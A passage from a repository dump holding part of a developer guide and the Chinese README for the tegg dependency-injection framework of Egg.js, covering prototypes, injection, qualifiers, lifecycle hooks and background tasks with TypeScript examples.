`tegg/standalone/*`).\n\n### Type Checking & Linting\n\n```bash\npnpm run typecheck           # Clean and type check all workspaces (including tegg)\npnpm run lint                # Run oxlint with type-aware checking on all packages\npnpm run fmtcheck            # Check code formatting with oxfmt\n```\n\n**Note:** oxlint automatically runs with `--type-aware` flag for enhanced TypeScript checking.\n\n### Version Management\n\n**Note:** Run these commands from the monorepo root (`../egg`).\n\n```bash\npnpm run version:patch       # Bump patch version (0.0.X)\npnpm run version:minor       # Bump minor version (0.X.0)\npnpm run version:major       # Bump major version (X.0.0)\npnpm run version:prepatch    # Bump to next prerelease patch version\npnpm run version:preminor    # Bump to next prerelease minor version\npnpm run version:premajor    # Bump to next prerelease major version\npnpm run version:alpha       # Bump prerelease alpha version\npnpm run version:beta        # Bump prerelease beta version\npnpm run version:rc          # Bump prerelease rc version\n```\n\n### Working with Individual Packages\n\n**Note:** Run from the monorepo root to work with individual tegg packages.\n\n```bash\n# Install dependencies\npnpm install                          # Install all dependencies using catalog versions\n\n# Type check specific packages\npnpm -r run typecheck                 # Type check all packages recursively\npnpm --filter @eggjs/tegg-runtime run typecheck\n\n# Build specific packages\npnpm --filter @eggjs/metadata run build\npnpm --filter @eggjs/tegg-runtime run build\n\n# Clean specific package\npnpm --filter @eggjs/tegg-runtime run clean\n```\n\n**Note:** Individual tegg packages don't have test scripts in their package.json. Tests are run via the monorepo root vitest configuration.\n\n## Architecture Concepts\n\n### Prototype System\n\nTegg uses a prototype-based system where classes are decorated to define how they should be instantiated:\n\n- **ContextProto**: Instance per request context (scoped to HTTP request)\n- **SingletonProto**: Single instance for entire application lifecycle\n- **MultiInstanceProto**: Multiple instances of same class with different qualifiers\n\nEach prototype has:\n\n- **AccessLevel**: `PRIVATE` (module-only) or `PUBLIC` (globally accessible)\n- **InitType**: Defines lifecycle scope (`CONTEXT`, `SINGLETON`)\n- **Name**: Instance identifier (defaults to camelCase class name)\n\n### Dependency Injection\n\nDependencies are resolved through `@Inject()` decorator:\n\n- Property injection: `@Inject() logger: Logger`\n- Constructor injection: `constructor(@Inject() logger: Logger)`\n- Optional injection: `@InjectOptional()` or `@Inject({ optional: true })`\n\n**Injection Rules:**\n\n- ContextProto can inject any prototype\n- SingletonProto cannot inject ContextProto\n- No circular dependencies allowed (between prototypes or modules)\n- Cannot inject `ctx`/`app` directly - inject specific services instead\n\n### Qualifiers\n\nWhen multiple implementations exist, use qualifiers to disambiguate:\n\n- `@InitTypeQualifier(ObjectInitType.CONTEXT)`: Specify init type\n- `@ModuleQualifier('moduleName')`: Specify source module\n- `@EggQualifier(EggType.CONTEXT)`: Specify egg context vs app\n- Custom qualifiers for dynamic injection patterns\n\n### Module System\n\nModules are organizational units discovered by scanning:\n\n- `app/modules/` directory (auto-discovered)\n- `config/module.json` (manual declaration for npm packages)\n\nEach module contains:\n\n- Prototype classes with decorators\n- Optional `module.json` or `package.json` with tegg metadata\n- Module-level dependencies on other modules\n\nThe **GlobalGraph** builds a dependency graph of all modules and validates:\n\n- No circular module dependencies\n- All prototype dependencies are resolvable\n- Access level constraints are respected\n\n### Lifecycle Hooks\n\nObjects can implement `EggObjectLifecycle` interface or use decorators:\n\n- `@LifecyclePostConstruct()`: After constructor\n- `@LifecyclePreInject()`: Before dependency injection\n- `@LifecyclePostInject()`: After dependency injection\n- `@LifecycleInit()`: Custom async initialization\n- `@LifecyclePreDestroy()`: Before object destruction\n- `@LifecycleDestroy()`: Resource cleanup\n\n### Runtime Object Management\n\nThe runtime manages object instances through:\n\n- **EggObjectFactory**: Creates and retrieves object instances\n- **LoadUnitInstance**: Manages module instances and their objects\n- **EggContext**: Request-scoped context holding ContextProto instances\n- **ContextObjectGraph**: Dependency graph for a specific context\n\n## Testing Patterns\n\n### Testing with MockApplication\n\n```typescript\nimport { MockApplication } from '@eggjs/mock';\n\n// Create context scope\nawait app.mockModuleContextScope(async (ctx: Context) => {\n  // Get object by class\n  const service = await ctx.getEggObject(HelloService);\n\n  // Get object by name with qualifiers\n  const logger = await ctx.getEggObjectFromName('logger', {\n    qualifier: 'bizLogger',\n  });\n});\n```\n\n### Async Tasks in Tests\n\nUse `BackgroundTaskHelper` instead of `setTimeout`/`setImmediate`:\n\n```typescript\n@ContextProto()\nclass MyService {\n  @Inject()\n  backgroundTaskHelper: BackgroundTaskHelper;\n\n  async doWork() {\n    this.backgroundTaskHelper.run(async () => {\n      // Async work here\n    });\n  }\n}\n```\n\n## Important Implementation Details\n\n### Metadata Registration\n\nDecorators register metadata on classes that is later used by the loader:\n\n- Prototype metadata: `PrototypeUtil.setXXX()` stores on class\n- Injection metadata: `InjectObjectInfo` stored per property/parameter\n- Qualifier metadata: `QualifierUtil.addProperQualifier()` for disambiguation\n\n### Loading Process\n\n1. **Loader** scans directories and discovers modules\n2. **EggPrototypeFactory** creates `EggPrototype` from decorated classes\n3. **GlobalGraph** validates and builds dependency graph\n4. **LoadUnitFactory** creates `LoadUnit` for each module\n5. **Runtime** instantiates objects on-demand based on graph\n\n### Dynamic Injection\n\nFor selecting implementations at runtime:\n\n```typescript\n// Define abstract class and enum\nabstract class AbstractHello { abstract hello(): string; }\nenum HelloType { FOO = 'FOO', BAR = 'BAR' }\n\n// Create decorator\nconst Hello = QualifierImplDecoratorUtil.generatorDecorator(\n  AbstractHello,\n  'HELLO_ATTRIBUTE'\n);\n\n// Apply to implementations\n@ContextProto()\n@Hello(HelloType.FOO)\nclass FooHello extends AbstractHello { ... }\n\n// Get instance dynamically\nconst impl = await eggObjectFactory.getEggObject(\n  AbstractHello,\n  HelloType.FOO\n);\n```\n\n## Common Patterns\n\n### Creating a New Core Package\n\n1. Add to `tegg/core/` directory within the main monorepo\n2. Include `tsconfig.json` extending `@eggjs/tsconfig`\n3. Add standard scripts to `package.json`:\n   - `\"typecheck\": \"tsgo --noEmit\"`\n4. Export public API through `src/index.ts`\n5. Use `workspace:*` for internal dependencies and `catalog:` for external dependencies\n\n### Creating a New Plugin\n\n1. Add to `tegg/plugin/` directory within the main monorepo\n2. Define `eggPlugin` in `package.json` with dependencies\n3. Create `app.ts` for initialization\n4. Add tests using Vitest and `@eggjs/mock`\n5. Tests will be automatically discovered by the root `vitest.config.ts`\n\n### Working with TypeScript\n\n- Use `emitDecoratorMetadata` for type inference in injection\n- `design:type` and `design:paramtypes` are used for automatic dependency resolution\n- All packages target ESM with `.js` extensions in imports\n"
  },
  {
    "path": "tegg/README.md",
    "content": "# `@eggjs/tegg`\n\n## Required\n\n- Node.js >= 22.18.0\n- egg >= 4.1.0\n- esm only\n\n## Install\n\n```shell\n# tegg 注解\nnpm i --save @eggjs/tegg@beta\n# tegg 插件\nnpm i --save @eggjs/tegg-plugin@beta\n```\n\n## Config\n\n```js\n// config/plugin.js\nexports.tegg = {\n  package: '@eggjs/tegg-plugin',\n  enable: true,\n};\n```\n\n```js\n// config/config.default.js\n{\n  tegg: {\n    // 读取模块支持自定义配置，可用于扩展或过滤不需要的模块文件\n    readModuleOptions: {\n      extraFilePattern: ['!**/dist', '!**/release'],\n    },\n  };\n}\n```\n\n## Usage\n\n### 原型\n\nmodule 中的对象基本信息，提供了\n\n- 实例化方式：每个请求实例化/全局单例/每次注入都实例化\n- 访问级别：module 外是否可访问\n\n#### ContextProto\n\n每次请求都会实例化一个 ContextProto，并且只会实例化一次\n\n##### 定义\n\n```typescript\n@ContextProto(params: {\n  // 原型的实例化名称\n  // 默认行为：会把 Proto 的首字母转为小写\n  // 如 UserAdapter 会转换为 userAdapter\n  // 如果有不符合预期的可以手动指定,比如\n  // @ContextProto({ name: 'mistAdapter' })\n  // MISTAdapter\n  // MISTAdapter 的实例名称即为 mistAdapter\n  name?: string;\n\n  // 对象是在 module 内可访问还是全局可访问\n  // PRIVATE: 仅 module 内可访问\n  // PUBLIC: 全局可访问\n  // 默认值为 PRIVATE\n  accessLevel?: AccessLevel;\n})\n```\n\n##### 示例\n\n###### 简单示例\n\n```typescript\nimport { ContextProto } from '@eggjs/tegg';\n\n@ContextProto()\nexport class HelloService {\n  async hello(): Promise<string> {\n    return 'hello, module!';\n  }\n}\n```\n\n###### 复杂示例\n\n```typescript\nimport { ContextProto, AccessLevel } from '@eggjs/tegg';\n\n@ContextProto({\n  accessLevel: AccessLevel.PUBLIC,\n  name: 'helloInterface',\n})\nexport default class HelloService {\n  async hello(user: User): Promise<string> {\n    const echoResponse = await this.echoAdapter.echo({ name: user.name });\n    return `hello, ${echoResponse.name}`;\n  }\n}\n```\n\n#### SingletonProto\n\n整个应用声明周期只会实例化一个 SingletonProto\n\n##### 定义\n\n```typescript\n@SingletonProto(params: {\n  // 原型的实例化名称\n  // 默认行为：会把 Proto 的首字母转为小写\n  // 如 UserAdapter 会转换为 userAdapter\n  // 如果有不符合预期的可以手动指定,比如\n  // @SingletonProto({ name: 'mistAdapter' })\n  // MISTAdapter\n  // MISTAdapter 的实例名称即为 mistAdapter\n  name?: string;\n\n  // 对象是在 module 内可访问还是全局可访问\n  // PRIVATE: 仅 module 内可访问\n  // PUBLIC: 全局可访问\n  // 默认值为 PRIVATE\n  accessLevel?: AccessLevel;\n})\n```\n\n##### 示例\n\n###### 简单示例\n\n```typescript\nimport { SingletonProto } from '@eggjs/tegg';\n\n@SingletonProto()\nexport class HelloService {\n  async hello(): Promise<string> {\n    return 'hello, module!';\n  }\n}\n```\n\n###### 复杂示例\n\n```typescript\nimport { SingletonProto, AccessLevel } from '@eggjs/tegg';\n\n@SingletonProto({\n  accessLevel: AccessLevel.PUBLIC,\n  name: 'helloInterface',\n})\nexport class HelloService {\n  async hello(user: User): Promise<string> {\n    const echoResponse = await this.echoAdapter.echo({ name: user.name });\n    return `hello, ${echoResponse.name}`;\n  }\n}\n```\n\n#### MultiInstanceProto\n\n支持一个类有多个实例。比如说 logger 可能会初始化多个，用来输出到不同文件，db 可能会初始化多个，用来连接不同的数据库。\n使用这个注解可以方便的对接外部资源。\n\n##### 定义\n\n```ts\n// 静态定义\n@MultiInstanceProto(params: {\n  // 对象的生命周期\n  // CONTEXT: 每个上下文都有一个实例\n  // SINGLETON: 整个应用生命周期只有一个实例\n  initType?: ObjectInitTypeLike;\n\n  // 对象是在 module 内可访问还是全局可访问\n  // PRIVATE: 仅 module 内可访问\n  // PUBLIC: 全局可访问\n  // 默认值为 PRIVATE\n  accessLevel?: AccessLevel;\n\n  // 高阶参数，指定类型的实现原型\n  protoImplType?: string;\n\n  // 对象元信息\n  objects: ObjectInfo[];\n})\n\n// 动态定义\n@MultiInstanceProto(params: {\n  // 对象的生命周期\n  // CONTEXT: 每个上下文都有一个实例\n  // SINGLETON: 整个应用生命周期只有一个实例\n  initType?: ObjectInitTypeLike;\n\n  // 对象是在 module 内可访问还是全局可访问\n  // PRIVATE: 仅 module 内可访问\n  // PUBLIC: 全局可访问\n  // 默认值为 PRIVATE\n  accessLevel?: AccessLevel;\n\n  // 高阶参数，指定类型的实现原型\n  protoImplType?: string;\n\n  // 动态调用，获取对象元信息\n  // 仅会调用一次，调用后结果会被缓存\n  getObjects(ctx: MultiInstancePrototypeGetObjectsContext): ObjectInfo[];\n})\n```\n\n##### 示例\n\n首先定义一个自定义 Qualifier 注解\n\n```ts\nimport { QualifierUtil, EggProtoImplClass } from '@eggjs/tegg';\n\nexport const LOG_PATH_ATTRIBUTE = Symbol.for('LOG_PATH_ATTRIBUTE');\n\nexport function LogPath(name: string) {\n  return function (target: any, propertyKey: PropertyKey) {\n    QualifierUtil.addProperQualifier(target.constructor as EggProtoImplClass, propertyKey, LOG_PATH_ATTRIBUTE, name);\n  };\n}\n```\n\n定一个具体实现\n\n```typescript\nimport {\n  MultiInstanceProto,\n  MultiInstancePrototypeGetObjectsContext,\n  LifecycleInit,\n  LifecycleDestroy,\n  QualifierUtil,\n  EggProtoImplClass,\n} from '@eggjs/tegg';\nimport { type EggObject, ModuleConfigUtil, type EggObjectLifeCycleContext } from '@eggjs/tegg/helper';\nimport fs from 'node:fs';\nimport { Writable } from 'node:stream';\nimport path from 'node:path';\nimport { EOL } from 'node:os';\n\nexport const LOG_PATH_ATTRIBUTE = Symbol.for('LOG_PATH_ATTRIBUTE');\n\n@MultiInstanceProto({\n  // 从 module.yml 中动态获取配置来决定需要初始化几个对象\n  getObjects(ctx: MultiInstancePrototypeGetObjectsContext) {\n    const config = ModuleConfigUtil.loadModuleConfigSync(ctx.unitPath);\n    return (config as any).features.logger.map(name => {\n      return {\n        name: 'dynamicLogger',\n        qualifiers: [\n          {\n            attribute: LOG_PATH_ATTRIBUTE,\n            value: name,\n          },\n        ],\n      };\n    });\n  },\n})\nexport class DynamicLogger {\n  stream: Writable;\n  loggerName: string;\n\n  @LifecycleInit()\n  async init(ctx: EggObjectLifeCycleContext, obj: EggObject) {\n    // 获取需要实例化对象的 Qualifieri\n    const loggerName = obj.proto.getQualifier(LOG_PATH_ATTRIBUTE);\n    this.loggerName = loggerName as string;\n    this.stream = fs.createWriteStream(path.join(ctx.loadUnit.unitPath, `${loggerName}.log`));\n  }\n\n  @LifecycleDestroy()\n  async destroy() {\n    return new Promise<void>((resolve, reject) => {\n      this.stream.end(err => {\n        if (err) {\n          return reject(err);\n        }\n        return resolve();\n      });\n    });\n  }\n\n  info(msg: string) {\n    return new Promise<void>((resolve, reject) => {\n      this.stream.write(msg + EOL, err => {\n        if (err) {\n          return reject(err);\n        }\n        return resolve();\n      });\n    });\n  }\n}\n```\n\n使用 DynamicLogger.\n\n```ts\n@SingletonProto()\nexport class Foo {\n  @Inject({\n    name: 'dynamicLogger',\n  })\n  // 通过自定义注解来指定 Qualifier\n  @LogPath('foo')\n  fooDynamicLogger: DynamicLogger;\n\n  @Inject({\n    name: 'dynamicLogger',\n  })\n  @LogPath('bar')\n  barDynamicLogger: DynamicLogger;\n\n  async hello(): Promise<void> {\n    await this.fooDynamicLogger.info('hello, foo');\n    await this.barDynamicLogger.info('hello, bar');\n  }\n}\n```\n\n#### 生命周期 hook\n\n由于对象的生命周期交给了容器来托管，代码中无法感知什么时候对象初始化，什么时候依赖被注入了。所以提供了生命周期 hook 来实现这些通知的功能。\n\n##### 定义\n\n```typescript\n/**\n * lifecycle hook interface for egg object\n */\ninterface EggObjectLifecycle {\n  /**\n   * call after construct\n   */\n  postConstruct?(): Promise<void>;\n\n  /**\n   * call before inject deps\n   */\n  preInject?(): Promise<void>;\n\n  /**\n   * call after inject deps\n   */\n  postInject?(): Promise<void>;\n\n  /**\n   * before object is ready\n   */\n  init?(): Promise<void>;\n\n  /**\n   * call before destroy\n   */\n  preDestroy?(): Promise<void>;\n\n  /**\n   * destroy the object\n   */\n  destroy?(): Promise<void>;\n}\n```\n\n##### 示例\n\n```typescript\nimport { EggObjectLifecycle } from '@eggjs/tegg';\n\n@ContextProto()\nexport class Foo implements EggObjectLifecycle {\n  // 构造函数\n  constructor() {}\n\n  async postConstruct(): Promise<void> {\n    console.log('对象构造完成');\n  }\n\n  async preInject(): Promise<void> {\n    console.log('依赖将要注入');\n  }\n\n  async postInject(): Promise<void> {\n    console.log('依赖注入完成');\n  }\n\n  async init(): Promise<void> {\n    console.log('执行一些异步的初始化过程');\n  }\n\n  async preDestroy(): Promise<void> {\n    console.log('对象将要释放了');\n  }\n\n  async destroy(): Promise<void> {\n    console.log('执行一些释放资源的操作');\n  }\n}\n```\n\n##### 生命周期方法装饰器\n\n上面展示的 hook 是通过方法命名约定来实现生命周期 hook，我们还提供了更加可读性更强的装饰器模式。\n\n```ts\nimport {\n  LifecyclePostConstruct,\n  LifecyclePreInject,\n  LifecyclePostInject,\n  LifecycleInit,\n  LifecyclePreDestroy,\n  LifecycleDestroy,\n} from '@eggjs/tegg';\n\n@SingletonProto({\n  accessLevel: AccessLevel.PUBLIC,\n  name: 'helloInterface',\n})\nexport class HelloService {\n  @LifecyclePostConstruct()\n  protected async _postConstruct() {\n    console.log('对象构造完成');\n  }\n\n  @LifecyclePreInject()\n  protected async _preInject() {\n    console.log('依赖将要注入');\n  }\n\n  @LifecyclePostInject()\n  protected async _postInject() {\n    console.log('依赖注入完成');\n  }\n\n  @LifecycleInit()\n  protected async _init() {\n    console.log('执行一些异步的初始化过程');\n  }\n\n  @LifecyclePreDestroy()\n  protected async _preDestroy() {\n    console.log('对象将要释放了');\n  }\n\n  @LifecycleDestroy()\n  protected async _destroy() {\n    console.log('执行一些释放资源的操作');\n  }\n\n  async hello(user: User) {\n    const echoResponse = await this.echoAdapter.echo({ name: user.name });\n    return `hello, ${echoResponse.name}`;\n  }\n}\n```\n\n### 注入\n\nProto 中可以依赖其他的 Proto，或者 egg 中的对象。\n\n#### 定义\n\n```typescript\n@Inject(param?: {\n  // 注入对象的名称，在某些情况下一个原型可能有多个实例\n  // 比如说 egg 的 logger\n  // 默认为属性名称\n  name?: string;\n  // 注入原型的名称\n  // 在某些情况不希望注入的原型和属性使用一个名称\n  // 默认为属性名称\n  proto?: string;\n  // 注入对象是否为可选，默认为 false\n  // 若为 false，当不存在该对象时，启动阶段将会抛出异常\n  // 若为 true，且未找到对象时，该属性值为 undefined\n  optional?: boolean;\n})\n```\n\n对于 optional 为 true 的情况，也提供了 InjectOptional 的 alias 装饰器\n\n```typescript\n// 等价于 @Inject({ ...params, optional: true })\n@InjectOptional(params: {\n  // 注入对象的名称，在某些情况下一个原型可能有多个实例\n  // 比如说 egg 的 logger\n  // 默认为属性名称\n  name?: string;\n  // 注入原型的名称\n  // 在某些情况不希望注入的原型和属性使用一个名称\n  // 默认为属性名称\n  proto?: string;\n})\n```\n\n#### 示例\n\n##### 简单示例\n\n```typescript\nimport { EggLogger } from 'egg';\nimport { Inject } from '@eggjs/tegg';\n\n@ContextProto()\nexport class HelloService {\n  @Inject()\n  logger: EggLogger;\n\n  // 等价于 @Inject({ optional: true })\n  @InjectOptional()\n  maybeUndefinedLogger?: EggLogger;\n\n  async hello(user: User): Promise<string> {\n    this.logger.info(`[HelloService] hello ${user.name}`);\n    // optional inject 使用时，需要判断是否有值\n    if (this.maybeUndefinedLogger) {\n      this.maybeUndefinedLogger.info(`[HelloService] hello ${user.name}`);\n    }\n    const echoResponse = await this.echoAdapter.echo({ name: user.name });\n    return `hello, ${echoResponse.name}`;\n  }\n}\n```\n\n也可在构造函数中使用 `Inject` 注解。注意 property 和 构造函数两种模式只能选一种，不能混用。\n\n```typescript\nimport { EggLogger } from 'egg';\nimport { Inject } from '@eggjs/tegg';\n\n@ContextProto()\nexport class HelloService {\n  constructor(\n    @Inject() readonly logger: EggLogger,\n    @InjectOptional() readonly maybeUndefinedLogger?: EggLogger\n  ) {}\n\n  async hello(user: User): Promise<string> {\n    this.logger.info(`[HelloService] hello ${user.name}`);\n    // optional inject 使用时，需要判断是否有值\n    if (this.maybeUndefinedLogger) {\n      this.maybeUndefinedLogger.info(`[HelloService] hello ${user.name}`);\n    }\n    const echoResponse = await this.echoAdapter.echo({ name: user.name });\n    return `hello, ${echoResponse.name}`;\n  }\n}\n```\n\n##### 复杂示例\n\n```typescript\nimport { EggLogger } from 'egg';\nimport { Inject } from '@eggjs/tegg';\n\n@ContextProto()\nexport class HelloService {\n  // 在 config.default.js 中\n  // 配置了 customLogger，\n  // 名称为 bizLogger\n  @Inject({ name: 'bizLogger' })\n  logger: EggLogger;\n\n  async hello(user: User): Promise<string> {\n    this.logger.info(`[HelloService] hello ${user.name}`);\n    const echoResponse = await this.echoAdapter.echo({ name: user.name });\n    return `hello, ${echoResponse.name}`;\n  }\n}\n```\n\n#### 限制\n\n- ContextProto 可以注入任何 Proto 但是 SingletonProto 不能注入 ContextProto\n- 原型之间不允许有循环依赖，比如 Proto A - inject -> Proto B - inject- > Proto A，这种是不行的\n- 类似原型之间不允许有循环依赖，module 直接也不能有循环依赖\n- 一个 module 内不能有实例化方式和名称同时相同的原型\n- **不可以注入 ctx/app，用什么注入什么**\n\n#### 兼容 egg\n\negg 中有 extend 方式，可以将对象扩展到 Context/Application 上，这些对象均可注入。Context 上的对象类比为 ContextProto，Application 上的对象类比为 SingletonProto。\n\n#### 进阶\n\n### module 内原型名称冲突\n\n一个 module 内，有两个原型，原型名相同，实例化不同，这时直接 Inject 是不行的，module 无法理解具体需要哪个对象。这时就需要告知 module 需要注入的对象实例化方式是哪种。\n\n###### 定义\n\n```typescript\n@InitTypeQualifier(initType: ObjectInitType)\n```\n\n###### 示例\n\n```typescript\nimport { EggLogger } from 'egg';\nimport { Inject, InitTypeQualifier, ObjectInitType } from '@eggjs/tegg';\n\n@ContextProto()\nexport class HelloService {\n  @Inject()\n  // 明确指定实例化方式为 CONTEXT 的 logger\n  @InitTypeQualifier(ObjectInitType.CONTEXT)\n  logger: EggLogger;\n}\n```\n\n##### module 间原型名称冲突\n\n可能多个 module 都实现了名称为 `HelloAdapter` 的原型, 且 `accessLevel = AccessLevel.PUBLIC`，需要明确的告知 module 需要注入的原型来自哪个 module.\n\n###### 定义\n\n```typescript\n@ModuleQualifier(moduleName: string)\n```\n\n###### 示例\n\n```typescript\nimport { EggLogger } from 'egg';\nimport { Inject, InitTypeQualifier, ObjectInitType } from '@eggjs/tegg';\n\n@ContextProto()\nexport class HelloService {\n  @Inject()\n  // 明确指定使用来自 foo module 的 HelloAdapter\n  @ModuleQualifier('foo')\n  helloAdapter: HelloAdapter;\n}\n```\n\n### egg 内 ctx/app 命名冲突\n\negg 内可能出现 ctx 和 app 上有同名对象的存在，我们可以通过使用 `EggQualifier` 来明确指定注入的对象来自 ctx 还是 app。不指定时，默认注入 app 上的对象。\n\n###### 定义\n\n```typescript\n@EggQualifier(eggType: EggType)\n```\n\n###### 示例\n\n```typescript\nimport { EggLogger } from 'egg';\nimport { Inject, EggQualifier, EggType } from '@eggjs/tegg';\n\n@ContextProto()\nexport class HelloService {\n  @Inject()\n  // 明确指定注入 ctx 上的 foo 而不是 app 上的 foo\n  @EggQualifier(EggType.CONTEXT)\n  foo: Foo;\n}\n```\n\n### 单测\n\n#### 单测 Context\n\n在单测中需要获取 egg Context 时，可以使用以下 API。\n\n```typescript\nexport interface Application {\n  /**\n   * 创建 module 上下文 scope\n   */\n  mockModuleContextScope<R = any>(this: MockApplication, fn: (ctx: Context) => Promise<R>, data?: any): Promise<R>;\n}\n```\n\n#### 获取对象实例\n\n在单测中需要获取 module 中的对象实例时，可以使用以下 API。\n\n```typescript\nexport interface Application {\n  /**\n   * 通过一个类来获取实例\n   */\n  getEggObject<T>(clazz: EggProtoImplClass<T>): Promise<T>;\n  /**\n   * 通过对象名称来获取实例\n   */\n  getEggObjectFromName<T>(name: string, qualifiers?: QualifierInfo | QualifierInfo[]): Promise<unknown>;\n}\n\nexport interface Context {\n  /**\n   * 通过一个类来获取实例\n   */\n  getEggObject<T>(clazz: EggProtoImplClass<T>): Promise<T>;\n  /**\n   * 通过对象名称来获取实例\n   */\n  getEggObjectFromName<T>(name: string, qualifiers?: QualifierInfo | QualifierInfo[]): Promise<unknown>;\n}\n```\n\n### Egg 兼容性\n\n目前 module 尚未实现所有 egg 的特性，如果需要使用 egg 的功能，可以通过一些方式来兼容。\n\n##### Schedule\n\n目前 Schedule 尚未实现注解，仍然需要使用 egg 的目录和继承方式，在这种场景下如果需要使用 module 的实现，需要使用 `ctx.beginModuleScope`。举个例子：\n\n```typescript\n// notify/EC_FOO.js\n\nimport { Subscription, Context } from 'egg';\n\nclass FooSubscriber extends Subscription {\n  private readonly ctx: Context;\n\n  constructor(ctx: Context) {\n    super(ctx);\n  }\n\n  async subscribe(msg) {\n    await ctx.beginModuleScope(async () => {\n      await ctx.module.fooService.hello(msg);\n    });\n  }\n}\n\nmodule.exports = Subscription;\n```\n\n#### 注入 egg 对象\n\nmodule 会自动去遍历 egg 的 Application 和 Context 对象，获取其所有的属性，所有的属性都可以进行无缝的注入。举个例子，如何注入现在的 egg proxy:\n\n```typescript\nimport { IProxy } from 'egg';\n\n@ContextProto()\nclass FooService {\n  @Inject()\n  private readonly proxy: IProxy;\n\n  get fooFacade() {\n    return this.proxy.fooFacade;\n  }\n}\n```\n\n##### 注入 logger\n\n专为 logger 做了优化，可以直接注入 custom logger。\n\n举个例子:\n\n有一个自定义的 fooLogger\n\n```javascript\n// config.default.js\nexports.customLogger = {\n  fooLogger: {\n    file: 'foo.log',\n  },\n};\n```\n\n代码中可以直接注入:\n\n```typescript\nimport { EggLogger } from 'egg';\n\nclass FooService {\n  @Inject()\n  private fooLogger: EggLogger;\n}\n```\n\n#### 注入 egg 方法\n\n由于 module 注入时，只可以注入对象，不能注入方法，如果需要使用现有 egg 的方法，就需要对方法进行一定的封装。\n\n举个例子：假设 context 上有一个方法是 `getHeader`，在 module 中需要使用这个方法需要进行封装。\n\n```typescript\n// extend/context.ts\n\nexport default {\n  getHeader() {\n    return '23333';\n  },\n};\n```\n\n先将方法封装成一个对象。\n\n```typescript\n// HeaderHelper.ts\n\nclass HeaderHelper {\n  constructor(ctx) {\n    this.ctx = ctx;\n  }\n\n  getHeader(): string {\n    return this.ctx.getHeader();\n  }\n}\n```\n\n再将对象放到 Context 扩展上即可。\n\n```typescript\n// extend/context.ts\n\nconst HEADER_HELPER = Symbol('context#headerHelper');\n\nexport default {\n  get headerHelper() {\n    if (!this[HEADER_HELPER]) {\n      this[HEADER_HELPER] = new HeaderHelper(this);\n    }\n    return this[HEADER_HELPER];\n  },\n};\n```\n\n### 生命周期\n\n在 module 中，每个对象实例都有自己的生命周期，开发者可以对每个对象进行细致的控制。只要为对象实现 module 定义好的接口即可。所有生命周期 hook 均为可选方法，不需要的可以不实现。\n\n#### 接口定义\n\n```typescript\ninterface EggObjectLifecycle {\n  /**\n   * 在对象的构造函数执行完成之后执行\n   */\n  async postConstruct?();\n\n  /**\n   * 在注入对象依赖之前执行\n   */\n  async preInject?();\n\n  /**\n   * 在注入对象依赖之后执行\n   */\n  async postInject?();\n\n  /**\n   * 执行对象自定义异步初始化函数\n   */\n  async init?();\n\n  /**\n   * 在对象释放前执行\n   */\n  async preDestroy?();\n\n  /**\n   * 释放对象依赖的底层资源\n   */\n  async destroy?();\n}\n```\n\n#### 实现\n\n```typescript\nimport { EggObjectLifecycle } from '@eggjs/tegg';\n\n@SingletonProto()\nclass FooService implement EggObjectLifecycle {\n  @Inject()\n  cacheService: CacheService;\n\n  cache: Record<string, string>;\n\n  async init() {\n    this.cache = await this.cacheService.get(key);\n  }\n}\n```\n\n### 异步任务\n\nmodule 在请求结束后会把请求相关的对象释放，所以在请求中使用 `process.nextTick`、 `setTimeout`、 `setInterval`这类接口并不安全，可能导致一些错误。因此需要使用框架提供的接口，以便框架了解当前请求有哪些异步任务在执行，等异步任务执行完成后再释放对象。\n\n#### 安装\n\n```shell\nnpm i --save @eggjs/background-task\n```\n\n#### 使用\n\n```typescript\nimport { BackgroundTaskHelper } from '@eggjs/background-task';\n\n@ContextProto()\nexport default class BackgroundService {\n  @Inject()\n  private readonly backgroundTaskHelper: BackgroundTaskHelper;\n\n  async backgroundAdd() {\n    this.backgroundTaskHelper.run(async () => {\n      // do the background task\n    });\n  }\n}\n```\n\n#### 超时时间\n\n框架不会无限的等待异步任务执行，在默认 5s 之后如果异步任务还没有完成则会放弃等待开始执行释放过程。如果需要等待更长的时间，建议有两种方式：\n\n- **推荐方式：将异步任务转发给单例对象（SingletonProto）来执行，单例对象永远不会释放**\n- 调整超时时间，对 `backgroundTaskHelper.timeout` 进行赋值即可\n- 如果将超时时间设置为 `Infinity`，框架将不会超时\n- 可以在 config 文件中指定 `backgroundTask.timeout` 来全局覆盖默认的超时时间\n\n### 动态注入\n\n#### 使用\n\n定义一个抽象类和一个类型枚举。\n\n```ts\nexport enum HelloType {\n  FOO = 'FOO',\n  BAR = 'BAR',\n}\n\nexport abstract class AbstractHello {\n  abstract hello(): string;\n}\n```\n\n定义一个自定义枚举。\n\n```ts\nimport { type ImplDecorator, QualifierImplDecoratorUtil } from '@eggjs/tegg';\nimport { ContextHelloType } from '../FooType';\nimport { AbstractContextHello } from '../AbstractHello';\n\nexport const HELLO_ATTRIBUTE = 'HELLO_ATTRIBUTE';\n\nexport const Hello: ImplDecorator<AbstractHello, typeof HelloType> = QualifierImplDecoratorUtil.generatorDecorator(\n  AbstractHello,\n  HELLO_ATTRIBUTE\n);\n```\n\n实现抽象类。\n\n```ts\nimport { ContextProto } from '@eggjs/tegg';\nimport { ContextHello } from '../decorator/Hello';\nimport { ContextHelloType } from '../FooType';\nimport { AbstractContextHello } from '../AbstractHello';\n\n@ContextProto()\n@Hello(HelloType.BAR)\nexport class BarHello extends AbstractHello {\n  hello(): string {\n    return `hello, bar`;\n  }\n}\n```\n\n动态获取实现。\n\n```ts\nimport { EggObjectFactory } from '@eggjs/tegg';\n\n@ContextProto()\nexport class HelloService {\n  @Inject()\n  private readonly eggObjectFactory: EggObjectFactory;\n\n  async hello(): Promise<string> {\n    const helloImpl = await this.eggObjectFactory.getEggObject(AbstractHello, HelloType.BAR);\n    return helloImpl.hello();\n  }\n}\n```\n\n动态获取多个实现，通过 for/await 循环获得实例。\n\n```ts\nimport { EggObjectFactory } from '@eggjs/tegg';\n\n@ContextProto()\nexport class HelloService {\n  @Inject()\n  private readonly eggObjectFactory: EggObjectFactory;\n\n  async hello(): Promise<string[]> {\n    const helloImpls = await this.eggObjectFactory.getEggObjects(AbstractHello);\n    const messages = [];\n    for await (const helloImpl of helloImpls) {\n      messages.push(helloImpl.hello());\n    }\n    return messages;\n  }\n}\n```\n\n### 配置项目 module\n\n一般情况下，无需在项目中手动声明包含了哪些 module，tegg 会自动在项目目录下进行扫描。但是会存在一些特殊的情况，tegg 无法扫描到，比如说 module 是通过 npm 包的方式来发布。因此 tegg 支持通过 `config/module.json` 的方式来声明包含了哪些 module。\n\n支持通过 `path` 引用 `app/modules/foo` 目录下的 